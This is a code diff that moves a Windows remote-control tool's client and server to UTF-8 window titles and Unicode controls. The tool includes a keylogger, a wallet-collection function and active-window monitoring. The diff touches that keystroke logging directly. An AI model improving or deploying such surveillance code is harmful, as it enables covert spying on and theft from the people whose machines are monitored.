diff --git a/client/KernelManager.h b/client/KernelManager.h
index d614581..363694e 100644
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -63,9 +63,34 @@ private:
         if (hForegroundWindow == NULL)
             return "No active window";
 
-        char windowTitle[256];
-        GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
-        return std::string(windowTitle);
+        // 用 W 接口取标题，再转 UTF-8，避免依赖客户端系统 ANSI 代码页
+        wchar_t wTitle[256] = { 0 };
+        GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
+        if (wTitle[0] == L'\0')
+            return std::string();
+
+        int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
+        if (u8len <= 1)
+            return std::string();
+
+        // 协议字段 ActiveWnd[512]，UTF-8 中文最多 3 字节/字符，必要时按完整码点截断
+        std::string out(u8len - 1, '\0');
+        WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
+        if (out.size() >= 511) {
+            out.resize(511);
+            // 回退到上一个完整 UTF-8 码点起始
+            while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
+                out.pop_back();
+            if (!out.empty()) {
+                unsigned char lead = static_cast<unsigned char>(out.back());
+                int need = (lead & 0x80) == 0 ? 1
+                         : (lead & 0xE0) == 0xC0 ? 2
+                         : (lead & 0xF0) == 0xE0 ? 3
+                         : (lead & 0xF8) == 0xF0 ? 4 : 0;
+                if (need == 0) out.pop_back();
+            }
+        }
+        return out;
     }
 
     DWORD GetLastInputTime()
diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp
index b58ef70..9dc777d 100644
--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
     SAFE_CLOSE_HANDLE(m_hClipboard);
     SAFE_CLOSE_HANDLE(m_hWorkThread);
     SAFE_CLOSE_HANDLE(m_hSendThread);
-    m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
+    // 仅在离线记录开启时才回写磁盘；否则缓冲区随对象释放，不让 CLEAR 后的新击键意外落盘。
+    if (m_bIsOfflineRecord) {
+        m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
+    }
     delete m_Buffer;
     Mprintf("~CKeyboardManager1: Stop %p\n", this);
 }
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
 
 int CKeyboardManager1::sendStartKeyBoard()
 {
-    BYTE	bToken[2];
+    // 协议扩展：在 [TOKEN, offline] 后面捎带 2 字节 cap word。
+    // 子连接没经过 LOGIN_INFOR，服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
+    // 让客户端自己带过来，避免服务端通过 IP 反查主连接（NAT/127.0.0.1 等场景反查会失败）。
+    // 老服务端读不到 byte 2-3 没关系（只读 byte 1），向后兼容。
+    BYTE	bToken[4];
     bToken[0] = TOKEN_KEYBOARD_START;
     bToken[1] = (BYTE)m_bIsOfflineRecord;
+    WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
+    memcpy(bToken + 2, &caps, sizeof(WORD));
     HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
     return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
 }
diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp
index efb10c4..35bee76 100644
--- a/client/SystemManager.cpp
+++ b/client/SystemManager.cpp
@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam)  //要
     LPBYTE	szBuffer = *(LPBYTE*)lParam;
     char	szTitle[1024];
     memset(szTitle, 0, sizeof(szTitle));
-    //得到系统传递进来的窗口句柄的窗口标题
-    GetWindowText(hWnd, szTitle, sizeof(szTitle));
+    // 用 W 接口取标题再转 UTF-8 写入 szTitle，避免依赖客户端 CP_ACP；
+    // 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
+    wchar_t wTitle[1024] = {};
+    GetWindowTextW(hWnd, wTitle, _countof(wTitle));
+    if (wTitle[0]) {
+        WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
+                            szTitle, sizeof(szTitle), NULL, NULL);
+    }
     //这里判断 窗口是否可见 或标题为空
     BOOL m_bShowHidden = TRUE;
     if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
diff --git a/client/keylogger.cpp b/client/keylogger.cpp
index c559686..c16f76e 100644
--- a/client/keylogger.cpp
+++ b/client/keylogger.cpp
@@ -94,9 +94,17 @@ int Save(int key_stroke)
     }
 
     if (foreground) {
+        // 用 W 接口取标题再转 UTF-8，避免依赖客户端系统 ANSI 代码页：
+        // 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP（中文机=GBK），
+        // 服务端按自己的 CP_ACP 解释会乱码（例如德语机=CP1252）。
         char window_title[MAX_PATH] = {};
-        GET_PROCESS_EASY(GetWindowTextA);
-        GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
+        wchar_t wTitle[MAX_PATH] = {};
+        GET_PROCESS_EASY(GetWindowTextW);
+        GetWindowTextW(foreground, wTitle, MAX_PATH);
+        if (wTitle[0]) {
+            WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
+                                window_title, MAX_PATH, NULL, NULL);
+        }
 
         if (strcmp(window_title, lastwindow) != 0) {
             strcpy_s(lastwindow, sizeof(lastwindow), window_title);
@@ -107,7 +115,7 @@ int Save(int key_stroke)
             sprintf_s(tm, "%d-%02d-%02d  %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
                       s.wHour, s.wMinute, s.wSecond);
 
-            output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
+            output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
         }
     }
 
diff --git a/common/commands.h b/common/commands.h
index f3af1fe..f92d7c3 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -126,6 +126,8 @@ inline int isValid_10s()
 
 // 客户端能力位
 #define CLIENT_CAP_V2   0x0001      // 支持 V2 文件传输
+#define CLIENT_CAP_UTF8 0x0002      // 协议字符串字段统一使用 UTF-8 编码（活动窗口、窗口列表、键盘记录中的窗口标题等）
+                                    // 无此位 = 老客户端，按系统 ANSI（默认 CP936）解读
 
 #define TALK_DLG_MAXLEN 1024		// 最大输入字符长度
 
@@ -916,7 +918,7 @@ typedef struct  LOGIN_INFOR {
     {
         memset(this, 0, sizeof(LOGIN_INFOR));
         bToken = TOKEN_LOGIN;
-        sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2);
+        sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8);
     }
     LOGIN_INFOR& Speed(unsigned long speed)
     {
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index bcf9b56..eeebe23 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -175,6 +175,20 @@ bool SupportsFileTransferV2(context* ctx) {
     return IsDateGreaterOrEqual(version, FILE_TRANSFER_V2_DATE);
 }
 
+// 获取客户端协议字符串编码：优先看自身能力位，若是子连接（CAPABILITIES 为空）
+// 则通过 peer IP 查主连接。找不到则默认 CP936。
+UINT GetClientEncoding(context* ctx) {
+    if (!ctx) return 936;
+    // 主连接情形：CAPABILITIES 已由 LOGIN_INFOR 处理流程填好
+    if (ctx->SupportsUtf8()) return CP_UTF8;
+    // 子连接情形：CAPABILITIES 为空 -> 通过 IP 找主连接
+    if (g_2015RemoteDlg) {
+        context* mainCtx = g_2015RemoteDlg->FindHostByIP(ctx->GetPeerName());
+        if (mainCtx && mainCtx->SupportsUtf8()) return CP_UTF8;
+    }
+    return 936;
+}
+
 // 授权日志频率控制：首次必须记录，状态变化必须记录，相同状态每小时记录一次
 static bool ShouldLogAuth(const std::string& sn, int success) {
     struct AuthLogState {
@@ -722,6 +736,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_WM_CLOSE()
     ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
     ON_NOTIFY(LVN_GETDISPINFO, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfo)
+    // 启用 LVM_SETUNICODEFORMAT 后，列表实际发送的是 LVN_GETDISPINFOW（即便工程是 MBCS）。
+    // MBCS 工程里 LVN_GETDISPINFO == LVN_GETDISPINFOA，两者码值不同，需各自映射。
+    ON_NOTIFY(LVN_GETDISPINFOW, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfoW)
     ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
     ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
     ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
@@ -1127,13 +1144,23 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
 
 VOID CMy2015RemoteDlg::CreateNotifyBar()
 {
+    // GUID 用于 Windows 10/11 Toast 通知关联托盘图标
+    // {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}
+    static const GUID NOTIFY_ICON_GUID =
+        { 0xA1B2C3D4, 0xE5F6, 0x7890, { 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56, 0x78, 0x90 } };
+
     m_Nid.uVersion = NOTIFYICON_VERSION_4;
     m_Nid.cbSize = sizeof(NOTIFYICONDATA);     //大小赋值
     m_Nid.hWnd = m_hWnd;           //父窗口    是被定义在父类CWnd类中
     m_Nid.uID = IDR_MAINFRAME;     //icon  ID
-    m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;     //托盘所拥有的状态
+    m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP | NIF_GUID;  //托盘所拥有的状态
     m_Nid.uCallbackMessage = UM_ICONNOTIFY;              //回调消息
     m_Nid.hIcon = m_hIcon;                               //icon 变量
+    m_Nid.guidItem = NOTIFY_ICON_GUID;
+
+    // 先删除可能残留的旧图标（程序异常退出时可能残留）
+    Shell_NotifyIcon(NIM_DELETE, &m_Nid);
+
     CString strTips = _TR(BRAND_TRAY_TIP);       //气泡提示
     lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
     Shell_NotifyIcon(NIM_ADD, &m_Nid);   //显示托盘
@@ -1251,6 +1278,9 @@ VOID CMy2015RemoteDlg::InitControl()
         g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
     }
     m_CList_Online.InitColumns();
+    // 让虚拟列表用 Unicode 通知（LVN_GETDISPINFOW），从而绕开 MBCS 工程里
+    // 列表 → ANSI → CP_ACP 的回转，这样在德语/日语等非中文 ACP 服务端上也能显示中文。
+    m_CList_Online.SendMessage(LVM_SETUNICODEFORMAT, TRUE, 0);
     m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS);  // LVS_OWNERDATA 由 SetVirtualMode 设置
     m_CList_Online.SetExtendedStyle(style);
     m_CList_Online.SetParent(&m_GroupTab);
@@ -1429,7 +1459,8 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
         NOTIFYICONDATA nidCopy = m_Nid;
         nidCopy.cbSize = sizeof(NOTIFYICONDATA);
         nidCopy.uFlags |= NIF_INFO;
-        nidCopy.dwInfoFlags = NIIF_INFO;
+        nidCopy.dwInfoFlags = NIIF_USER | NIIF_LARGE_ICON;  // 使用自定义图标
+        nidCopy.hBalloonIcon = m_hIcon;                      // 设置气球提示图标
         lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
         lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
         nidCopy.uTimeout = 3000;
@@ -3500,6 +3531,84 @@ void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult)
     *pResult = 0;
 }
 
+// 虚拟列表数据回调（W 版） - 列表启用 LVM_SETUNICODEFORMAT 后由系统改发此通知。
+// 工程仍是 MBCS，CString 内部仍按 CP_ACP；这里把要显示的列统一转成宽字符填回，
+// 让控件直接以 Unicode 渲染，从而在非中文 ACP 服务端上也能正确显示中文。
+void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult)
+{
+    NMLVDISPINFOW* pDispInfo = reinterpret_cast<NMLVDISPINFOW*>(pNMHDR);
+    LVITEMW* pItem = &pDispInfo->item;
+    int iItem = pItem->iItem;
+
+    CLock lock(m_cs);
+
+    if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) {
+        *pResult = 0;
+        return;
+    }
+    size_t realIdx = m_FilteredIndices[iItem];
+    if (realIdx >= m_HostList.size()) {
+        *pResult = 0;
+        return;
+    }
+    context* ctx = m_HostList[realIdx];
+    if (!ctx) {
+        *pResult = 0;
+        return;
+    }
+
+    if ((pItem->mask & LVIF_TEXT) && pItem->pszText && pItem->cchTextMax > 0) {
+        std::wstring wtext;
+        int nCol = pItem->iSubItem;
+
+        if (nCol == ONLINELIST_LOGINTIME) {
+            // "活动窗口"列：心跳到达后用旁路表里的宽字符串（已正确解码）；
+            // 心跳到达前 m_ActiveWndW 还没条目，回退到 CString —— AddList 给这一列
+            // 填的是 startTime（启动时间，纯 ASCII），按 CP_ACP 转宽显示，行为与
+            // 原 A 版回调一致。
+            auto it = m_ActiveWndW.find(ctx->GetClientID());
+            if (it != m_ActiveWndW.end()) {
+                wtext = it->second;
+            } else {
+                CString text = ctx->GetClientData(nCol);
+                if (!text.IsEmpty()) {
+                    int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
+                    if (wlen > 0) {
+                        wtext.resize(wlen - 1);
+                        MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
+                    }
+                }
+            }
+            if (wtext.empty()) wtext = L"?";
+        } else {
+            // 其它列：CString 仍是 ANSI（CP_ACP），按 CP_ACP 转宽供控件显示
+            CString text;
+            if (nCol == ONLINELIST_COMPUTER_NAME) {
+                CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
+                text = !note.IsEmpty() ? note : ctx->GetClientData(nCol);
+            } else {
+                text = ctx->GetClientData(nCol);
+                if (text.IsEmpty()) text = "?";
+            }
+            int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
+            if (wlen > 0) {
+                wtext.resize(wlen - 1);
+                MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
+            }
+        }
+
+        // 安全拷贝到控件提供的缓冲区
+        int copy = (int)wtext.size();
+        if (copy > pItem->cchTextMax - 1) copy = pItem->cchTextMax - 1;
+        if (copy > 0) {
+            wmemcpy(pItem->pszText, wtext.c_str(), copy);
+        }
+        pItem->pszText[copy] = L'\0';
+    }
+
+    *pResult = 0;
+}
+
 void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
 {
     LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
@@ -5525,6 +5634,8 @@ bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
     if (WebService().IsRunning()) {
         WebService().MarkDeviceOffline(clientID);
     }
+    // 清理"活动窗口"列的宽字符旁路表
+    m_ActiveWndW.erase(clientID);
 
     // 方案1：通过索引快速查找（如果索引有效且匹配）
     auto indexIt = m_ClientIndex.find(clientID);
@@ -5942,10 +6053,25 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
         if (id) {
             bool changed = false;
             // 只在数据变化时标记 dirty
+            // 注：hb.ActiveWnd 编码由客户端能力位 CLIENT_CAP_UTF8 决定（登录时已识别）。
+            // CString 这里仍然按字节存原始数据，仅用于 "Locked:"/"Inactive:" 等 ASCII 前缀比较；
+            // 真正显示走 m_ActiveWndW + LVN_GETDISPINFOW。
             CString oldActiveWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
             if (oldActiveWnd != hb.ActiveWnd) {
                 ctx->SetClientData(ONLINELIST_LOGINTIME, hb.ActiveWnd);
                 changed = true;
+
+                // 按客户端声明的编码解码：新客户端 UTF-8，老客户端 CP936（默认兜底）
+                std::wstring wActive;
+                if (hb.ActiveWnd[0]) {
+                    UINT cp = GetClientEncoding(host);
+                    int wlen = MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, NULL, 0);
+                    if (wlen > 0) {
+                        wActive.resize(wlen - 1);
+                        MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, &wActive[0], wlen);
+                    }
+                }
+                m_ActiveWndW[clientID] = std::move(wActive);
             }
             if (hb.Ping > 0) {
                 CString newPing = std::to_string(hb.Ping).c_str();
@@ -5966,19 +6092,16 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
                 // Notify web clients of device update
                 if (WebService().IsRunning()) {
                     std::string rtt = hb.Ping > 0 ? std::to_string(hb.Ping) : "";
-                    // Convert ANSI to UTF-8 for web
+                    // Web 端要 UTF-8：直接用旁路表里的宽字符再编一次 UTF-8，
+                    // 这样无论客户端原本是 UTF-8 还是 GBK，发给 Web 都是 UTF-8。
                     std::string activeWnd;
-                    CString csActiveWnd(hb.ActiveWnd);
-                    if (!csActiveWnd.IsEmpty()) {
-                        int wlen = MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, NULL, 0);
-                        if (wlen > 0) {
-                            std::wstring wstr(wlen - 1, L'\0');
-                            MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, &wstr[0], wlen);
-                            int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
-                            if (u8len > 0) {
-                                activeWnd.resize(u8len - 1);
-                                WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
-                            }
+                    auto it = m_ActiveWndW.find(clientID);
+                    if (it != m_ActiveWndW.end() && !it->second.empty()) {
+                        const std::wstring& w = it->second;
+                        int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
+                        if (u8len > 0) {
+                            activeWnd.resize(u8len - 1);
+                            WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
                         }
                     }
                     WebService().NotifyDeviceUpdate(clientID, rtt, activeWnd);
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 79fd280..5d9c61d 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -96,6 +96,14 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg;
 // 注意：m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
 bool SupportsFileTransferV2(context* ctx);
 
+// 获取客户端协议字符串编码 (CP_UTF8 或 936)。
+// 适用于任意 context：
+//   - 主连接：直接读自身的 CAPABILITIES
+//   - 子连接（KeyBoardDlg / SystemDlg / FileManagerDlg 等）：CAPABILITIES 为空，
+//     通过 peer IP 查 m_HostList 中的主连接获取能力位
+// 找不到主连接或老客户端：默认 CP936（覆盖 95% 简中/英语 ASCII 老客户端）。
+UINT GetClientEncoding(context* ctx);
+
 // 服务端待续传的传输信息
 struct PendingTransferV2 {
     uint64_t clientID;
@@ -344,7 +352,13 @@ public:
     afx_msg void OnSize(UINT nType, int cx, int cy);
     afx_msg void OnExitSizeMove();
     afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
-    afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult);  // 虚拟列表数据回调
+    afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult);  // 虚拟列表数据回调（A 版，备用）
+    afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调（W 版，启用 LVM_SETUNICODEFORMAT 后实际触发的）
+
+    // "活动窗口"列的宽字符旁路表：clientID -> Unicode 标题。
+    // 协议字段 hb.ActiveWnd 已约定为 UTF-8（老客户端 GBK 回退），由服务端解码后存入。
+    // 由 m_cs 保护。
+    std::map<uint64_t, std::wstring> m_ActiveWndW;
     afx_msg void OnOnlineMessage();
     afx_msg void OnOnlineDelete();
     afx_msg void OnOnlineUpdate();
diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp
index 244465f..0d801d4 100644
--- a/server/2015Remote/KeyBoardDlg.cpp
+++ b/server/2015Remote/KeyBoardDlg.cpp
@@ -3,7 +3,9 @@
 
 #include "stdafx.h"
 #include <WinUser.h>
+#include <string>
 #include "KeyBoardDlg.h"
+#include "2015RemoteDlg.h"   // GetClientEncoding helper
 
 #ifdef _DEBUG
 #define new DEBUG_NEW
@@ -22,7 +24,18 @@ static char THIS_FILE[] = __FILE__;
 CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
     : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
 {
-    m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
+    m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
+
+    // 子连接从协议扩展字段（byte 2-3）拿到能力位，写入自身的 CAPABILITIES。
+    // 这样 m_ContextObject->SupportsUtf8() 可直接生效，不再依赖 IP 反查主连接。
+    // 老客户端只发 2 字节，GetBYTE 越界返回 0，等同 caps=0 -> 走 CP936 兜底，向后兼容。
+    WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
+              | (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
+    if (caps != 0) {
+        CString capStr;
+        capStr.Format(_T("%04X"), caps);
+        m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
+    }
 }
 
 
@@ -73,6 +86,32 @@ BOOL CKeyBoardDlg::OnInitDialog()
 
     UpdateTitle();
 
+    // -----------------------------------------------------------------
+    // 把 m_edit 重建为 Unicode 类窗口。
+    // 工程是 MBCS，MFC 默认用 A 版 CreateWindowEx 创建子控件，导致即便
+    // 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
+    // 转码，德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
+    // 后，控件内部以 Unicode 存储，W 版消息直通，不再走 CP_ACP。
+    // -----------------------------------------------------------------
+    {
+        CRect rc;
+        m_edit.GetWindowRect(&rc);
+        ScreenToClient(&rc);
+        DWORD style   = m_edit.GetStyle();
+        DWORD exStyle = m_edit.GetExStyle();
+        HFONT hFont   = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
+        UINT  ctrlID  = m_edit.GetDlgCtrlID();
+        m_edit.DestroyWindow();
+        HWND hEdit = ::CreateWindowExW(
+            exStyle, L"EDIT", L"", style,
+            rc.left, rc.top, rc.Width(), rc.Height(),
+            this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
+            AfxGetInstanceHandle(), NULL);
+        m_edit.Attach(hEdit);
+        if (hFont)
+            m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+    }
+
     m_edit.SetLimitText(MAXDWORD); // 设置最大长度
 
     // 通知远程控制端对话框已经打开
@@ -110,9 +149,33 @@ void CKeyBoardDlg::AddKeyBoardData()
 {
     // 最后填上0
     m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
-    int	len = m_edit.GetWindowTextLength();
-    m_edit.SetSel(len, len);
-    m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
+    const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
+    if (!utf8 || !utf8[0])
+        return;
+
+    // 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
+    // 注意：m_ContextObject 是键盘记录子连接，其自身 CAPABILITIES 为空；
+    // helper 内部通过 peer IP 查主连接获取真正的能力位。
+    UINT cp = GetClientEncoding(m_ContextObject);
+    int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
+    if (wlen <= 1)
+        return;
+    std::wstring wbuf(wlen - 1, L'\0');
+    MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
+
+    // 全程走 W 版消息直通 Unicode 控件。注意几个坑：
+    //   1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
+    //      EM_SCROLLCARET，时序变成 "SetSel→ScrollCaret→ReplaceSel"，即
+    //      先滚到旧末尾、再插入，部分场景控件状态会错乱（光标不在末尾、
+    //      用户手动移动光标后插入位置不对等）。
+    //   2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾"，由控件自行 clamp 到当前长度，
+    //      不依赖 WM_GETTEXTLENGTH 计算结果。
+    //   3) ReplaceSel 后再 ScrollCaret，确保滚到 *新* 末尾。
+    HWND hEdit = m_edit.GetSafeHwnd();
+    if (!hEdit) return;
+    ::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
+    ::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
+    ::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
 }
 
 bool CKeyBoardDlg::SaveRecord()
@@ -129,10 +192,30 @@ bool CKeyBoardDlg::SaveRecord()
         MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
         return false;
     }
-    // Write the DIB header and the bits
-    CString	strRecord;
-    m_edit.GetWindowText(strRecord);
-    file.Write(strRecord, strRecord.GetLength());
+
+    // m_edit 已是 Unicode 控件：用 W 版取宽字符串，转 UTF-8 写入并加 BOM。
+    // 这样保存的文件无视服务端 ACP，记事本/VS Code 等都能自动识别。
+    int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
+    std::wstring wbuf;
+    if (wlen > 0) {
+        wbuf.resize(wlen);
+        ::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
+    }
+
+    // UTF-8 BOM
+    const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
+    file.Write(bom, 3);
+
+    if (!wbuf.empty()) {
+        int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
+                                        NULL, 0, NULL, NULL);
+        if (u8len > 0) {
+            std::string u8(u8len, '\0');
+            WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
+                                &u8[0], u8len, NULL, NULL);
+            file.Write(u8.data(), (UINT)u8.size());
+        }
+    }
     file.Close();
 
     return true;
@@ -156,7 +239,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
     } else if (nID == IDM_CLEAR_RECORD) {
         BYTE bToken = COMMAND_KEYBOARD_CLEAR;
         m_ContextObject->Send2Client(&bToken, 1);
-        m_edit.SetWindowText("");
+        // m_edit 是 Unicode 类控件，调 W 版避免 CP_ACP 边界转换
+        ::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
     } else if (nID == IDM_SAVE_RECORD) {
         SaveRecord();
     } else {
diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp
index 692ddfa..edcf06c 100644
--- a/server/2015Remote/SystemDlg.cpp
+++ b/server/2015Remote/SystemDlg.cpp
@@ -3,6 +3,7 @@
 
 #include "stdafx.h"
 #include "2015Remote.h"
+#include "2015RemoteDlg.h"   // GetClientEncoding helper
 #include "SystemDlg.h"
 #include "afxdialogex.h"
 
@@ -85,6 +86,8 @@ BOOL CSystemDlg::OnInitDialog()
         m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
         m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
         m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
+        // 工程是 MBCS，但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容，
+        // 直接用 LVM_SETITEMTEXTW 写宽字符串（无须依赖控件 Unicode 标志）。
         ShowWindowsList();
     }
 
@@ -170,6 +173,11 @@ void CSystemDlg::ShowWindowsList(void)
     char	*szTitle = NULL;
     bool isDel=false;
 
+    // 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
+    // 注意：m_ContextObject 是 WSLIST 子连接，其自身 CAPABILITIES 为空；
+    // helper 内部通过 peer IP 查主连接获取真正的能力位。
+    UINT cp = GetClientEncoding(m_ContextObject);
+
     DeleteAllItems();
     CString	str;
     int i ;
@@ -181,10 +189,28 @@ void CSystemDlg::ShowWindowsList(void)
         str.FormatL("%5u", *lpPID);
         CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
         m_ControlList.InsertItem(i, str);                   // 句柄
-        m_ControlList.SetItemText(i, 1, attrs.szTitle);     // 标题
-        m_ControlList.SetItemText(i, 2, attrs.szStatus);    // 窗口状态
-        m_ControlList.SetItemText(i, 3, pidStr);            // 所属进程ID
-        // ItemData 为窗口句柄
+
+        // 按客户端声明的编码解码到宽字符，用 LVM_SETITEMTEXTW 直接写入，
+        // 绕开 ANSI -> CP_ACP 回转，即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
+        std::wstring wTitle;
+        if (attrs.szTitle[0]) {
